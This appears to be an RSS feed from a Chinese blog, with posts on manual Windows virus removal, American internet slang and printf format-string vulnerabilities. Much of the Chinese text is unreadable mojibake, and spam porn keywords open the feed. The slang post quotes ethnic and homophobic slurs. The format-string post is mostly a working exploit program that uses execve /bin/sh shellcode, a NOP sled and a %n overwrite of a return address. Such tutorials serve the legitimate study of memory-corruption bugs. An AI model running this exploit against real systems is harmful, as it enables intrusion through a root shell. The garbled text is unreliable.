??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲乱码日产精品a级毛片久久 ,一本色道久久88精品综合 ,国产三级久久久精品麻豆三级http://www.shnenglu.com/asp/category/2612.htmlSee, I'm living...zh-cnTue, 20 May 2008 16:56:49 GMTTue, 20 May 2008 16:56:49 GMT60略谈手动杀?/title><link>http://www.shnenglu.com/asp/archive/2006/11/26/15679.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Sun, 26 Nov 2006 10:57:00 GMT</pubDate><guid>http://www.shnenglu.com/asp/archive/2006/11/26/15679.html</guid><wfw:comment>http://www.shnenglu.com/asp/comments/15679.html</wfw:comment><comments>http://www.shnenglu.com/asp/archive/2006/11/26/15679.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.shnenglu.com/asp/comments/commentRss/15679.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/asp/services/trackbacks/15679.html</trackback:ping><description><![CDATA[ <p> <font size="2">    文章有点长,误来看…?br />    以下的说法全部是建立在Windows XP的基上的?br />    g现在很多人的电脑都染了病毒,很惨Q我也是电脑菜Q也被病毒折过一D|日,所以写下这文章,希望寚w些还在被一些低U病毒折的人有点帮助,呵呵…?br />    PSQ因为我现在也只能杀杀低病毒哦…?br />    我们都知道,一个程序要q行必被载入内存Q而蝲入内存后Q这个程序就成ؓ了一个进E。所谓的pȝq程Q不q就是操作系l运行需要蝲入的E序而已Q而病毒要q行也一P他们也一样会被蝲入内存,成ؓq程Q所以,只要我们认识好了q程Q也具备了手动杀毒的基本知识…?br />    首先Q按Ctrl+Alt+Del打开d理器,炚w进E,在底下的列表里面列Z十几个或者甚臛_十个q程Q你会发C些很熟悉的名字,比如iexplore.exeQInternet Explorer的进E名Q、eMule.exeQEMule的进E名Q、QQ.exeQQQ的进E名Q,所以我们大概可以猜C般来说进E名和程序名是一LQ但是也有例外?br />    那么要学会手杀Q就必须先认识这?788的进E名Q特别是pȝq程Q不然就会出C些奇奇怪怪的问题……呵呵…?br />    以下是我暂时惌v来的一部䆾常见的系l进E,当然实际上系l进E的数量要多得多Q不认识的可以去|上查一下,或者去Baidu的知道里面问一下也可以Q?br />    alg.exe Windows|络q接׃n和网l连接防火墙<br />    cmd.exe 命o?br />    conime.exe 输入法编辑器相关E序<br />    csrss.exe 子系l服务器q程<br />    ctfmon.exe Microsoft Office的语a?br />    explorer.exe 资源理?br />    internat.exe 托盘区的拼音图标Q注意:不是internetQ是internatQ?br />    llssrv.exe 证书记录服务<br />    lsass.exe 理IP 安全{略以及启动IKE和IP 安全驱动E序<br />    mstask.exe 计划d<br />    nvsvc32.exe NVIDIA昄卡相关程?br />    point32.exe 微Y的鼠标驱?br />    regsvc.exe q程注册表操作,开启系l服务remoteregisterq行?br />    services.exe 包含很多pȝ服务<br />    smss.exe session manager会话理?br />    spoolsv.exe 打印~冲?br />    svchost.exe windows 2000/xp 的文件保护系l?br />    system Windows System Process<br />    system idle process 用于昄CPU可用资源癑ֈ比情c?br />    tftpd.exe 实现tftp internet标准。该标准不要求用户名和密码?br />    taskmgr.exe d理?br />    userinit.exe  理不同的启动顺序,载入完用户后退行了<br />    wdfmgr.exe 一个系l服务windows user mode driver framework Q是安装Windows media player 10d的,用于减少兼容性问题?br />    winlogon.exe 理用户d<br />    wmiexe.exe Windows Management InstrumentationQWindows理E序<br />    wmiprvse.exe Windows的一部䆾Q通过WinMgmt.exeE序处理WMI操作<br />    wuauclt.exe Windows自动升񔽎理E序<br />    有点晕?正常Q但是多看看׃惯了?br />    接着Q让我们来想想病毒的习性,载入内存Q复制和伪装自己Q感染文Ӟq且有一定的自我保护的能力,能在一定情况下复发。所以手杀病毒的思维应该是先l束掉病毒的q程Q再扑ևq删除与病毒相关的文Ӟ再删除和病毒相关的启动项和服务,如果删不掉,则重启到安全模式Q甚至DOS下(故障控制収ͼQ删除?br />对了Q介l几个工P<br />    一个是q程分析工具ProcXPQProcess ExplorerQ,它的q程理十分的底层,Z试他的能力Q你可以q行他,l束system看看Q结果就是你的机子重启了Q因Z把Windows都结束掉了,呵呵…?br />    </font> <a href="/Files/asp/ProcessExplorer.rar"> <font size="2">http://www.shnenglu.com/Files/asp/ProcessExplorer.rar</font> </a> <br /> <font size="2">    W二个工具就是文件关联恢复器Q因为现在很多的病毒都和应用E序挂上了钩Q所以杀毒的时候这个工h十分有效的?br />    </font> <a href="/Files/asp/recover.rar"> <font size="2">http://www.shnenglu.com/Files/asp/recover.rar</font> </a> <br /> <font size="2">    W三个工hIceSwordQ这个工具几乎可以观察系l中所有的情况Qƈ且能够删除一些特别顽固的文gQ还可以l束q程Q不q个人做了试验,发现它结束程序的权限好像没有ProcXP高?br />    </font> <a href="/Files/asp/icesword_cn.rar"> <font size="2">http://www.shnenglu.com/Files/asp/icesword_cn.rar</font> </a> <br /> <font size="2">    接下来,我们p开始学习怎么查和删除病毒了?br />    首先Q看你的电脑有没有异P比如开机就是一个temp1执行非法操作什么的Q速度奇慢无比Q插上别人的U盘,别hU盘里面就多了几个文g{等Q有p明,你中彩了?br />    q行文g兌恢复器,把“注册表编辑器可用”选上Q点开始修复,然后x它?br />    打开ProcXPQ第一ơ打开的时候会有提C框Q选YesOKQ接下来Q你会看见他的界面,如下Q?br /><img src="http://www.shnenglu.com/images/cppblog_com/asp/2860/r_KillVirus1.jpg" /><br />    里面有几栏:<br />    W一栏ProcessQ进E名和其父子关系?br />    W二栏PIDQ就是进E在pȝ中的特定的ID——Process ID?br />    W三栏CPUQCPU占用?br />    W四栏DescriptionQ对E序的描q?br />    W五栏Company NameQ厂家名?br />    另外把鼠标停在一个进E上一会儿Q或者在上面点右键,点propertiesQ就可以昄个进E对应的E序是什么和q个E序加蝲了什么?br />    然后是看你的经验了Q找出那些很奇怪的q程吧,暂时我用的判定方法有Q?br />    1、 经验,认得病毒。(呵呵Q等于没有说Q?br />    2、 一些伪装自qq程或者文件名QRundl132.exe、Rundll.exeQ伪装Rundll32.exeQ、scchost.exe、scvhost.exe、svchost..exe、svchost32.exe、svch0st.exeQ伪装svchost.exeQ等{?br />    3、 一些和pȝq程名字一P但是路径不一LQ比如c:\windows\svchost.exeQ而系l文件的路径是:c:\windows\system32\svchost.exe{?br />    4、 一些看着名字׃眼的:sex.exe{?br />    5、 一些很奇特的名字:123.exe、temp1.exe、temp2.exe、sxs.exe、qwer.exe、asdf.exe、run.dll{等?br />    6、 一些名字和描述不符合的q程Q比如Rundll32.exe描述变成了MS RundllQ而不是Run a Dll as an App?br />    7、 用Rundll打开的程序,一般来说不是流氓YӞ是木马Q呵呵,暂时l我的感觉就是这P当然也有例外。这p自己去ProcXP里的Properties里面看了?br />    8、 一些会动不动就会自己复制成几个的进E,如stup.exe?br />    9、 本不应该存在的q程Q现在存在了Q比如说一些非pȝq程Q常见于一些流氓YӞ比如Qassisstant.exeQ?721Q,YLive.exeQ雅虎助手)<br />    定好目标之后就要开始找病毒文g了?br />    L打开一个文件夹Q点选工P文g多w项Q查看。把下面列表里的隐藏受保护的pȝ文gQ推荐)和隐藏已知文件类型的扩展名前面的勄掉,再选上昄所有文件和文g夹,q样病毒无处藏w了。但是有时候这U方法会无效Q隐藏的文g照样隐藏Q比如Rose病毒的一个变U。解x法是开?〉运?〉regeditQ打开注册表编辑器Q到主键Q即里面像文件夹的东西)HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explorer / Advanced/Folder/Hidden/SHOWALL下面Q把双列表里面的CheckedValue删除Q没有的话也好,然后新徏一个DWORD|q设定该gؓ1Q再到文件夹选项里面Q就可以改了?br />好的Q现在显CZ所有的文gQ病毒在哪里QProcXP里面不是有写E序的位|吗Q记下病毒的位置Q结束病毒的q程Q去吧,但是注意Q这里有几个注意事项Q?br />    W一Q进入磁盘和文g夹的时候不要直接双击,而要点右键,选打开Q不然的话自动播放会把部分病毒又Ȁzȝ?br />    W二Q如果是c:\windows\system32\rundll32.exe的话Q那扄文g应该是rundll32.exe后面的加载项Qrundll32.exe是无辜的?br />扑ֈ病毒文g后,删吧Q后~名ؓ.exe的文件一般就删了Q但是如果是后缀名ؓ.dll的文Ӟ有时q是删不掉的Q怎么办?<br />    打开ProcXPQ点菜单栏里的FindQ选Find DllsQ输入你要删的dll名,点SearchQ如果这个文件被底下调用Q就会显C在底下的列表框中,再一个个的找q几个dll所在的q程Q把q几个进E结束掉Q就可以删除了?br />删除了病毒体Q我们还要做一Ҏ余工作?br />    再次q行文g兌恢复器,把“注册表编辑器可用”选上Q点开始修复,然后x它吧Q它已经没有利用价gQ呵呵(好残忍哦Q?br />    比如Q病毒复制的盘的自动播放,最著名的如rose病毒的一个变U,在每个盘下面都会建立文gQcopy.exe、host.exe和autorun.iniQ当然判定的依据是autorun.ini里面的内容,里面应该有autorun=Q这个后面的内容是病毒的位|,扑ֈq删掉吧Q和autorun.ini一起删掉之后,你会发现自动播放q在那里Qƈ没有删除Q这是因为在注册表里面还有残余的原因Q还记得autorun=后面的内容吗Q运行regeditQ进入注册表Q进入主键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2Q在里面搜烦autorun=后面的内容,即copy.exeQ把扑ֈ的项所对应的在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2下的主键整个删掉Q即可。注意可能有很多个,全部要删哦。删完之后,自动播放没有了?br />    另外Q还有病毒的启动,q行msconfigQ选启动,在列表框里面又很多的启动,看看命o栏里面有没有病毒文g的\径,有的全部勾掉,定?br />    在右键点我的电脑Q选管理。点服务和应用程序,Ҏ务,在右边的列表里面一个一个确定有没有服务调用病毒Q有q用掉。(什么?看不懂?那就点右键,属性,q去看撒……)<br />    如果上面的方法不行的话,去安全模式底下用吧Q那些工具在安全模式下也可以用的?br />    OKQ这P一般的病毒也就基本上搞定了?D…?br />    对了Q上面的Ҏ只能保证病毒无法q行Q但不一定能完整地删除病毒,因ؓq种Ҏ是基本通用的方法,不是针对各个病毒的特法,所以请大家见谅哦?br />    另外上面的方法只能用于一般比较良性的病毒Q如果病毒比较恶劣,比如感染exe文gQ而不是在文g兌上绑定,那就没有办法手杀Q我说的不是没有办法用这个方法手杀Q而是没有办法手杀。因Z要一个一个应用程序的L病毒删掉Q要改程序的入口点,q会D你可能要手动修改几千个文Ӟ假设一个文件你2分钟搞定了Q而你一p修改1000个文Ӟ你也?3.33个小时才能搞定,不过如果你有兴趣Q可以去研究一下Windows PE文g的结构和分离文g的原理,你会了解很多的事情,比如Z么杀毒Y件会在杀毒的时候把一些应用程序删烂,加壳和脱壳的原理QBindFile的原理还有那U不增加文g大小的FileBind的原理等{?br />    好吧Q说了是略谈Q结果说了这么多Q说得很,但愿大家会喜Ƣ,q且共同q步?/font> </p> <p> <font size="2">PSQ?br />    如果没有ProcXP的话Q可以用下面的ҎQ具体用,自己研究一下吧Q我׃说了?br />    以下是{Baidu知道的内容:<br />    打开资源理器,扑ֈ控制面板→管理工具→服务Q或怽能找C惌KILL的进E?<br />    除了采用PROCXP之类工具外,也可用Windows 2000以上自带几个工具?<br />    ntsd -c q -p PID <br />    在windows中,只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的Q最后那个是Win32子系l,ntsd本n需要它。ntsd?000开始就是系l自带的用户态调试工兗被调试器附着(attach)的进E会随调试器一起退出,所以可以用来在命o行下l止q程。用ntsd自动p得了debug权限Q从而能杀掉大部分的进E。ntsd会新开一个调试窗口,本来在纯命o行下无法控制Q但如果只是单的命oQ比如退?q)Q用-c参数从命令行传递就行了。NtsdNtsd 按照惯例也向软g开发h员提供。只有系l开发h员用此命o。有兌l信息,请参?NTSD 中所附的帮助文g。用?开个cmd.exeH口Q输入:<br />    ntsd -c q -p PID <br />    q有是tasklist、tskill或taskkill。tasklist能列出所有的q程Q和相应的信息。tskill能查杀q程Q语法很单:tskill E序?/font> </p> <img src ="http://www.shnenglu.com/asp/aggbug/15679.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/asp/" target="_blank">Asp</a> 2006-11-26 18:57 <a href="http://www.shnenglu.com/asp/archive/2006/11/26/15679.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>国论坛用语讲http://www.shnenglu.com/asp/archive/2006/10/31/14454.htmlAspAspTue, 31 Oct 2006 15:35:00 GMThttp://www.shnenglu.com/asp/archive/2006/10/31/14454.htmlhttp://www.shnenglu.com/asp/comments/14454.htmlhttp://www.shnenglu.com/asp/archive/2006/10/31/14454.html#Feedback5http://www.shnenglu.com/asp/comments/commentRss/14454.htmlhttp://www.shnenglu.com/asp/services/trackbacks/14454.html 以下是{_文章出处Q?a >http://www.playes.net/Blog/425.asp

先介l一个很的站?/font> http://www.urbandictionary.com/ 一般来_你如果在览论坛的时候看C懂的词,去查这里,包准没错?/font>

首先我们必须明白一点,国人是很懒的,我们也是很懒的,但是我们q没有美国h懒。玩多了游戏的都Q二壎ͼ晓得Q很多游戏,包括出名的和不出名的Q都用首字母~写代表q个游戏。如果你对这个游戏一无所知或者刚刚上手,人家讨论q个游戏你都不见得明白h家在说什么呢……那么—?/font>

PART 1、羃?/font>

最常见的羃写自然是Wtf. What the fxxk. q他妈到底怎么了,大意如此?衍生出来的有Wth, wtfh,前者是what the hell, 后者是what the fxxking hell.

lol也是最常见的羃写之一。很不幸Q这个词在美国一个杂志上的解释是Lots of Love。我愤怒地骂了一声小白之后,不得不接受某些美国父母在看了那个杂志之后在送给自己孩子的礼物上面写上“lol”的事实……好了不多扯Q这个词的意思是Laugh out loud。放声大W?/font>

OmgQ这个是l典的羃写了QOh my god! OmfgQF-word已经完全成了语气助词了,Oh my fxxking God. OMFGBBQQBBQ也是一个语气助词。这个词后面q要讲到。很有趣。ZOMGQZ没有M意义Q表C加气——这个后面也要提到?/font>

Lmao,Rofl。这两个词意思差不多。前者是Laugh my ass off.把我的XXW掉了。后者是Roll on the floor laughing,滚地板笑。这ROFL其实和猫扑的233有异曲同工之妙——而且Q实际上233的改q版有滚来滚ȝQ那Ҏ是一样了?/font>

qft。你看,q个东西其实׃很多人在用,但是用英语写出来q不懂了Ş……Quote for truth的羃写。类g“支持,U引”。当Ӟ你在NGAq这U事情是要被号的…?/font>

Imo。这个词看上dLmao很象Q不q意义完全不同。它是In my opinion的羃写(哦原来这么正l啊Q好无聊好无聊……)。事实上q个词通常是论坛掐架的开始,它的变体有ImhoQIn my humble opinionQ大有“区区在下不才,对这个问题是如此看的Q阁下若有高见,请说来”的意思?/font>

Irl。和Url好象……真义是In real life?通常有两个用途,一是“I lol'd irl"Qlol有时仅仅是表C”你很幽默“,更多的是一U赞赏,而“I lol'd irl"则更q一步,表示“我真的W了”。二是“Hot girl irl”,我其实是个漂亮女孩哦~~国Zh妖也很多的…?/font>

FTW。For the win.用于Ƣ呼。比如去qPittsburgh Steelers队拿了橄榄球冠军Q那么就是Pittsburgh Steelers ftw! 我们q里一个美国烂人硬说这个词?Fxxk the world的意思,我说那USAq是U sucking ass的意思呢……他要和我打Ӟ我怕了Q于是收回了我的看法?/font>

Stfu。Shut the fxxk up。Shut up的强调版。有只有Loser才会q么_姑且信之Q那么它的意思大U就跟吵架中大吼“你他吗的给老子住嘴”然后要么开始动手打么掩面跑开cM?/font>

Brt, BRBQomw。这几个词在论坛上用的不多,W一个是Be right thereQ马上到Q第二个是be right backQ马上回Q第三个是on my wayQ在路上。多在游戏里面用到。玩战网的朋友大都晓得?/font>

其实~写q有很多了。我是想到哪写到哪,以后再慢慢修改好了……不论如何,我们开始—?/font>

Part 2、象?拟声

<3。我对这个词是迷p了很久的……直到有一天h家告诉我。XD大家都知道什么意思ŞQ横q来看)。这词也一栗那么它的意思就是LOVE了,cM于我们在论坛上说“大心~~”?/font>

Lawl。这个是lol的象声写法,表示。“aw”在英文中和“o”的普遍发音一栗它表示的是一U发韻I而不是“L”“O”“L”一个一个字母地d来的~写?/font>

Rawr。和前者一P是Roar的象声变体。可以用做挑衅也可以用作表示兴奋?/font>

1337。Leet的数字写法。Leet本n也是一个网l黑话,攑ֈ后面讌Ӏ?/font>

haxQHack的象声写法,是你这家伙用外挂了……它的用途不止是说外挂,凡是不正当地在竞争中领先Q全部可以用?/font>

PhatQfat的象声写法。FAT一般表C坏东西。FAT GIRL是对奛_的侮辱性词语,你说q个奛_子会哭的。但是Phat表示很棒Q很好,是因为“东西很多”而导致的好。魔兽世界里面“Phat loot”正是由此而来?/font>

Woot。和wut不同QWoot不是what的拟声变体。你可以q么dQwu(二声Qu(四声QuQ轻壎ͼt。这个词是来源于WOW!loot!Q表C庆蜈蚣洞里面的怪掉装备了。然后由于它和感叹词“WooHoo”的接近被简化成了Woot。这个词也常常被数字变写为w00t?/font>

:D, :PQ这些也是象形,但是大家都知道,我就不讲了。那么开始—?/font>

Part 3、其?/font>

Own。这个词的意思无非就是“战胜”。什么样的战胜呢Q压倒性的战胜Q全面的压制。你可以使用q个词来表示“Grubby和我打了一场魔兽,他战胜了我”。这个词之所以有名,是因个词被h用的太多Q所以它的过d词常常被打成“Pwnt”。要么是名h用过Q比如,芙蓉姐姐说了“Pwnt”了Q,要么是O和P实在是太Ҏ打错了,MPwnt成ؓ了一个合法用途。你可以用“I got pwnt”来赞赏自己的对手。Ownt和Owned也是正常的用法?/font>

Leet。这个词单列一条。什么意思?你见q玩斗|不接枪不死命通关的ŞQ这人就是Leet。它是“Elite”的|络写法。Elite是精q意思,leet则一般指游戏上的_英。我们可以说Q罗炜是一个鬼武者leetQ但是呢Q三个字Q我不信Q这一句看不懂的可以省掉)。大致如此?/font>

Emo。这个词很有意思。美国有个乐队,叫做EMOQ常常演一些伤感的歌。然后坛子的h常常用q个词Ş定w些神l兮兮的家伙Q比如整天ؕ嚷“My life sucks”的家伙。这Uh别说Q还真有Q我一个学生就q样Q上实验课之前常常拿着一本插图上ȝ王子和公ȝ书对我说Q你看他们好q福挖,我好慕挖,你觉得这是真的还是画的吗Q等{。林黛玉当然也是标准的EMO了。这个词在Urban Dictionary上的一个解释极,拿来׃nQ翻译就免了Q看的懂q|?/font>

1. Girls say they like "sensitive guys" (lie)
2. Guy finds out, so he listens to faggy emo music and dresses like a dork so chicks will see that he is sensitive and not afraid to express himself (lie). He dyes his hair black, wraps himself in a stupid looking scarf, develops an eating disorder, and rants about how "nobody understands".
3. Now an emo guy, he meets Emo chick and they start dating, talking about how their well-off suburban lifestyles are terrible and depressing (lie)
4. Emo guy is just too much of a pussy. His penis is too small, he's too depressed to bathe, and has more mood swings than emo chick, and he doesn't even have a menstrual cycle. Emo chick dumps him, saying "It's not you, it's me." (lie) as she drives off with Wayne, the school jock and captain of the football team.
5. Emo guy goes home and cries, proceeds to write a weak song and strum a single string on his acoustic guitar. Another emo chick sees how he is so in touch with his feelings, and the cycle continues.

BBQ。这词很。在OMFGBBQ里面Q它只vC的作用。BBQ一般指烧烤QBarbeque,q个大家都知道,但是它ؓ什么能起强调的作用呢?因ؓq词代表了无数的~写Qbetter be quick, Bitch be quietQ等{,所以这个词׃表了对羃写的鄙视Q说你这丫的q写嘛。于是它也被赋予了表C强调的意义Q美国h的联想“联用”能力真强……)

ZOMG。这个词也要单列。因为有出典。ؓ什么会出现“ZOMG”?因ؓOMG通常用全部大写表C气强调。在书面语言里,全部大写是非帔R怸CD的,但是Z表示Q你全大写也可以。问题是Q你大写出毛病了——大写要按“shift”键Q你太激动了Q结果按shift键同时按“o”的时候,q着shift键边上的z也按下去了……你看,q样来表CZ的激动是不是出d呢?q就是ZOMG的来由?/font>

Lame。这个词无法用中文翻译。我只D例了。LAME是用来形容芙蓉姐姐、许U美、大作家张斌、伟大的刘伟……等{一pd人物的专有名词…?/font>

Chuck Norris。这个词不得不单列一条。Chuck Norris 非常 Lame。他是个武术Ӟ演了一个电视连l剧Q大U是《TEXAS RANGER》之cȝ名字|,里面演一个美国式英雄。不q的是,演的实在是太做作而失败了……结果有个好事者在|络上写了?/font> 100 TOP facts about Chuck Norris ”,全面地讽Z Chuck Norris 的武术、霸气,q有性能力。这个东西在国|络上引起了轰动效果QChuck Norris 于是出名了……他是国的芙蓉姐姐…?/font>

Fag/faggot。对GAY的侮辱性说法。拿来骂人用的。你可以说一个GAY是GAYQ但是你不能说一个GAY是FAGGOT。这{于说你可以说一个黑人是BLACK MANQ但是不能说他是Negro。当然你拿这个骂正常Z炚w题都没有……(但是如果人家真的跟你较真q是能告你歧视GAY哦~~Q?/font>

Freak/Hack/Darn。这三个词ƈ列排出,它们分别是”Fxxk"/"Hell"/"Damn"的弱?合理化用法。简单地_一个老师在讲课,他不能讲脏话Q但是他想用“Fxxk”来表示和亲和力。这时他qfreakQ音/frik/Q来替换fxxk。英语里面Shit、Hell、Damn、Fuck、Ass都属于Curse/swearQ咒骂了Q相当于是脏话,一般是不能讲的。但是美国是一个粗俗的国度Qh们喜Ƣ讲q些词,好比说讜y他妈的”有时候已l不代表骂h而代表强调一栗于是他们用Freakq些音相q的词语来替换这些词。用这些词语的时候,表达的语气也没有用原词强烈。类似的中文用法Q正是我们天天用的一个词Q“靠Q?/font>

Fo' shizzle my nizzle。这是正l的“市井用语”了。美国的市井用语主要是由于民区大都是黑人,因此讲的话都带有黑h口音而来的。说׃正是q种语言的音乐Ş式。这个短语代表的是市井语的一U口韻I它原本是兛_牢房里的黑h弟兄打电话,Z避免被h听懂而发明的Q而由于Snoopyq个动画片而广泛传播开来。这U口音的特点是在每个词后面都加上?izzle”来h口音。至于Fo' shizzle my nizzleQ这个句子完全翻译过来是“for sure, my niggar”(当然了,我的兄弟Q。Niggar是negger/negro的黑人口韛_体,只用在黑Z间互相称gQ表C“同为黑人的朋友”。如果白人用了这个词{于是种族歧视?/font>

Moron/Retarded。Silly大家都知道ŞQStupid大家都知道ŞQIdiot大家都知道ŞQ一个意思。上ơ那个所谓“中国版泄露?.11patch notes”里面,有仯Q上17173的都是morons。就是这个意思了?/font>

Epeen。E-pennis的羃写。电动XXQ意思是指,你其实已l不能勃起了Q但是靠电动的来勃v。网l上是指你说不过别h了,然后说自q实生zM其实很强Q比如说NGA某些人常用的Q说你现实中是个LOSERQ老子本科毕业/研究生毕?工作了,又或者我自己在开头炫耀自己GRE 1380 TOEFL 663。这个词被WOW的h用来讽刺PVEq度Q称为“PVEPEEN”,意思是说你FD了BOSS有什么好炫耀的,PVP才是王道?/font>

Leech。这个词原指某些FTPQ不需要上传即可下载,后来变意Z用BT限制上传带宽{等QM是不付获取。在WOW里面Q可以讽刺那些挂机刷荣誉的hQ又或者MC里面Q新Zw绿装跑去,又不出力Q又拿装备。搞W的是WOW里面QBFDQ黑暗深渊)有这个DROPQ叫做Leech pants,最后的老板掉。它的中文名U是 [吸血短裤] Q真形象…?/font>

1. epeen是e和peen的复合词, peen是pin的同韛_写,pin的愿意是标签徽章什么的, q里相当于差不多reputation的意? epeen基本上相当于e-reputation, 大致相当于网l上的声望的意? epeee的字面意义是中性的但语用上是贬义词, 比如各个realm forum上当某h自吹他duel或者bg赢了其他人时Ҏ也许׃回脓说诸?gratz you gains epeen+10"之类的话Q其语用意义是说在rl你什么都没得CcR?/font>

2. leech的来源ƈ不是p2p下蝲术语, 而是d2里边一U装备属?leech x% life/mana on attack"。其字面意义是吸血。后来在d2里就有了开bus下牛x如果有baby来蹭l验叫leech。wow里边很多玩家都玩qd2所以对于类似的y经?声望/荣誉也自然而然的用了leech。google一下就知道, leech作ؓ“蹭l验”这个意思的时候主要是出现于blizz游戏的相关站炏V?/font>

3. >3, XD以及:P之类的emoticon的直接来源是式漫画Q而最早来源还是基于电子邮件文化的表情W号pȝ。美国Oȝemoticon几乎都是竖看的verticon, 而日式O画里边则多半是横看的。这跟两UOd对话排版上的序有关。emoticon一般都要与文字序相异以避免؜淆,所以在横版文字的美式O画里多用verticon?/font>

4. lame. freak,moron, retarded{? 都有其特有语? 而不只是芙蓉姐姐, fuck, silly, stupid的意思?/font>

lame的原意的瘸子Q引x义是Q因为瘸所以需要)l常借助外力的h。这词在d2时期专指在legit pvp room里边不遵守约定俗成的pvp规定而用违道L人。比如说d2 usw realm里zealot duel不准用减速不准喝药水不准用pd不准用foh, 用了q些的就是lamer。在wow forum上如果说一个hlame, 其意思也大致是这个方面,而不一定是说他和芙蓉姐姐等棍有什么相似特炏V?/font>

freak的出处是某著名科qd说相信大安知道了。其分词形态freaking和fucking在做语气词方面基本上是同义的Q但是它本nq是不脱d“怪h”的本意。forums上经常可以看到用freak做定语的情Ş,比如形容某次onxy raid, 龙mm老是在天上不下来, 可以说"onxy's freak today she always refuses to land and yeild her due lewts before we wipe" 而fuck是不会成为定语的?/font>

moron和retarded在本意上是同义词都有痴呆智障的意思,但forum上用时有点差别。moron更强调D止上愚蠢或懦? 比如说某某拿60U大可zstranglehorn或某某在bs被敌寚w营杀了一ơ就叫很多h来帮忙,又或者说?7173, q样是moron, 而retarded则更主要说某某的行ؓ不可理喻。比如某人在mage forum贴个41点arcanepȝ天赋׃被h说是retarded, 但不会被说成是moron?/font>



Asp 2006-10-31 23:35 发表评论
]]>
*printf()格式化串安全漏洞分析(? (?http://www.shnenglu.com/asp/archive/2006/10/20/13922.htmlAspAspFri, 20 Oct 2006 12:55:00 GMThttp://www.shnenglu.com/asp/archive/2006/10/20/13922.htmlhttp://www.shnenglu.com/asp/comments/13922.htmlhttp://www.shnenglu.com/asp/archive/2006/10/20/13922.html#Feedback0http://www.shnenglu.com/asp/comments/commentRss/13922.htmlhttp://www.shnenglu.com/asp/services/trackbacks/13922.html
Ql)

那么让我们来写一个简单的试E序来看一下:

<- begin ->  exp.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_OFFSET                    0                   
#define DEFAULT_ALIGNMENT                 2     // 我们使用两个字节来进?寚w"
#define DEFAULT_RETLOC           0xbffff6dc     // 存放main()q回地址的地址              
#define DEFAULT_BUFFER_SIZE             512                   
#define DEFAULT_EGG_SIZE               2048                   
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff, *ptr, *egg;                                     
  char *env[2];
  long shell_addr,retloc=DEFAULT_RETLOC;                                                  
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;       
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                            
  int fmt_num=4, i;
                                                              
  if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()q回地址的地址                                                                                      
  if (argc > 2) offset  = atoi(argv[2]);                      
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);                                                            
  if (!(buff = malloc(bsize))) {                              
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           
 
  printf("Using Ret location address: 0x%x\n", retloc);                                                                   
  shell_addr = get_esp() + offset;    //计算我们shellcode所处的地址                              
  printf("Using Shellcode address: 0x%x\n", shell_addr);
 
  ptr = buff;                                                 
  memset(buff,'A',4);

  i = align;
  buff[i]   =  retloc & 0x000000ff;   // retloc攑ֈbuff里                  ?
  buff[i+1] = (retloc & 0x0000ff00) >> 8;                
  buff[i+2] = (retloc & 0x00ff0000) >> 16;               
  buff[i+3] = (retloc & 0xff000000) >> 24;                 
 
  ptr = buff + i + 4;
  for(i = 0 ; i < 4 ; i++ )  //存放%.10u%.10u%.10u%.10u
    {
        memcpy(ptr, "%.10u", 5);
        ptr += 5;
    }
/* 存放"%.SHELL_ADDRu%n",Z使显C总长度等于shell_addr,
  * 我们减去4?.10u的长?4*10,再减?argv[1] = xxRETloc"的长度:12+4
  * 这个长度作为第5?u的宽度值  ?
  */ 
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  buff[bsize - 1] = '\0';                                     
  egg[eggsize - 1] = '\0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul","vul",buff,NULL,env);         
}  /* end of main */      

<- end -> 

注意Q在我们的程序里Q我们实际用的模式是:

AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n

选用%.10u的原因是Q如果用"%.nu"来显CZ个数值的时候,若数值长度大于n,则仍然会
昄实际的长度,而不会截断ؓn。只有在数值长度小于nӞ才会在数值前面补'0'使显
C长度达到n.而一个四字节的无W号整数Q最大ؓ0xffffffff = 4294967295Q其长度?br />是10,因此Q?.10u保证显C长度的_(肯定?0).现在唯一要确定的是
RETloc,也就是main()的返回地址了。这也很单:

[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08

Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>
